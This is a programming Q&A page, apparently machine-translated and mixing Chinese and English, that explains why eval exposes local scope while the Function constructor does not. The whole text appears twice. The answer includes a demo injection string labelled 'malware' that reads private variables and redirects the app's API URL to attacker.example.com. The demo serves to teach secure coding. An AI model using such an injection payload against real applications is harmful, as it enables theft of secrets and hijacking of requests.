eval 与函数构造函数
eval vs function constructor
我在读 eval
on MDN and it seems to suggest that a somewhat "better" alternative to eval
is to use a function constructor。 MDN 似乎强调与 eval
相比,使用函数构造函数的安全风险较小,因为:
a third-party code can see the scope in which eval() was invoked,
which can lead to possible attacks in ways to which the similar
Function is not susceptible.
"a third-party code can see the scope in which eval() was invoked" 究竟是什么意思,它如何影响我的 JS 应用程序的安全性?
来自 MDN 页面:
However, unlike eval, the Function constructor creates functions which execute in the global scope only.
如果将所有代码包装在一个闭包中,则无法从计算的函数体中访问秘密对象。
(() => {
let secret = 42;
eval("console.log(secret)"); // 42
let fn = new Function("console.log(secret)");
fn(); // secret is not defined
})();
一个示例,说明在此场景中如何使用 eval 解析输入会暴露并危及您应用的所有私有范围。
app = (function(){
// my app with all its shiny little secrets
// stored in private variables
var secret = 42;
var apiUrl = "/api/";
return {
withEval(input){
var someObject = eval(input);
console.log("withEval", someObject);
if(apiUrl === "/api/"){
console.log("xhr to", apiUrl);
}else{
console.warn("xhr to", apiUrl);
}
},
withFunction(input){
var someObject = Function("return(" + input+")")();
console.log("withFunction", someObject);
if(apiUrl === "/api/"){
console.log("xhr to", apiUrl);
}else{
console.warn("xhr to", apiUrl);
}
},
}
})();
var malware = `(${
()=>{
try { console.warn("found secret", secret); } catch(err){ console.error(err); }
try { console.warn("found apiUrl", apiUrl); } catch(err){ console.error(err); }
apiUrl = "http://attacker.example.com/";
}})(),{ foo: 13, bar: 42 }`;
console.log(malware);
app.withFunction(malware);
console.log("-----------------");
app.withEval(malware);
有了 eval
,你的 "secret" 就暴露了,比如 ids,令牌,......甚至 "apiUrl" 也被改变了,所以你现在所有的 api-calls在某些攻击者的网页上进行往返。
而且您的代码甚至没有抛出错误;我已经在控制台中记录了这些错误。
我在读 eval
on MDN and it seems to suggest that a somewhat "better" alternative to eval
is to use a function constructor。 MDN 似乎强调与 eval
相比,使用函数构造函数的安全风险较小,因为:
a third-party code can see the scope in which eval() was invoked, which can lead to possible attacks in ways to which the similar Function is not susceptible.
"a third-party code can see the scope in which eval() was invoked" 究竟是什么意思,它如何影响我的 JS 应用程序的安全性?
来自 MDN 页面:
However, unlike eval, the Function constructor creates functions which execute in the global scope only.
如果将所有代码包装在一个闭包中,则无法从计算的函数体中访问秘密对象。
(() => {
let secret = 42;
eval("console.log(secret)"); // 42
let fn = new Function("console.log(secret)");
fn(); // secret is not defined
})();
一个示例,说明在此场景中如何使用 eval 解析输入会暴露并危及您应用的所有私有范围。
app = (function(){
// my app with all its shiny little secrets
// stored in private variables
var secret = 42;
var apiUrl = "/api/";
return {
withEval(input){
var someObject = eval(input);
console.log("withEval", someObject);
if(apiUrl === "/api/"){
console.log("xhr to", apiUrl);
}else{
console.warn("xhr to", apiUrl);
}
},
withFunction(input){
var someObject = Function("return(" + input+")")();
console.log("withFunction", someObject);
if(apiUrl === "/api/"){
console.log("xhr to", apiUrl);
}else{
console.warn("xhr to", apiUrl);
}
},
}
})();
var malware = `(${
()=>{
try { console.warn("found secret", secret); } catch(err){ console.error(err); }
try { console.warn("found apiUrl", apiUrl); } catch(err){ console.error(err); }
apiUrl = "http://attacker.example.com/";
}})(),{ foo: 13, bar: 42 }`;
console.log(malware);
app.withFunction(malware);
console.log("-----------------");
app.withEval(malware);
有了 eval
,你的 "secret" 就暴露了,比如 ids,令牌,......甚至 "apiUrl" 也被改变了,所以你现在所有的 api-calls在某些攻击者的网页上进行往返。
而且您的代码甚至没有抛出错误;我已经在控制台中记录了这些错误。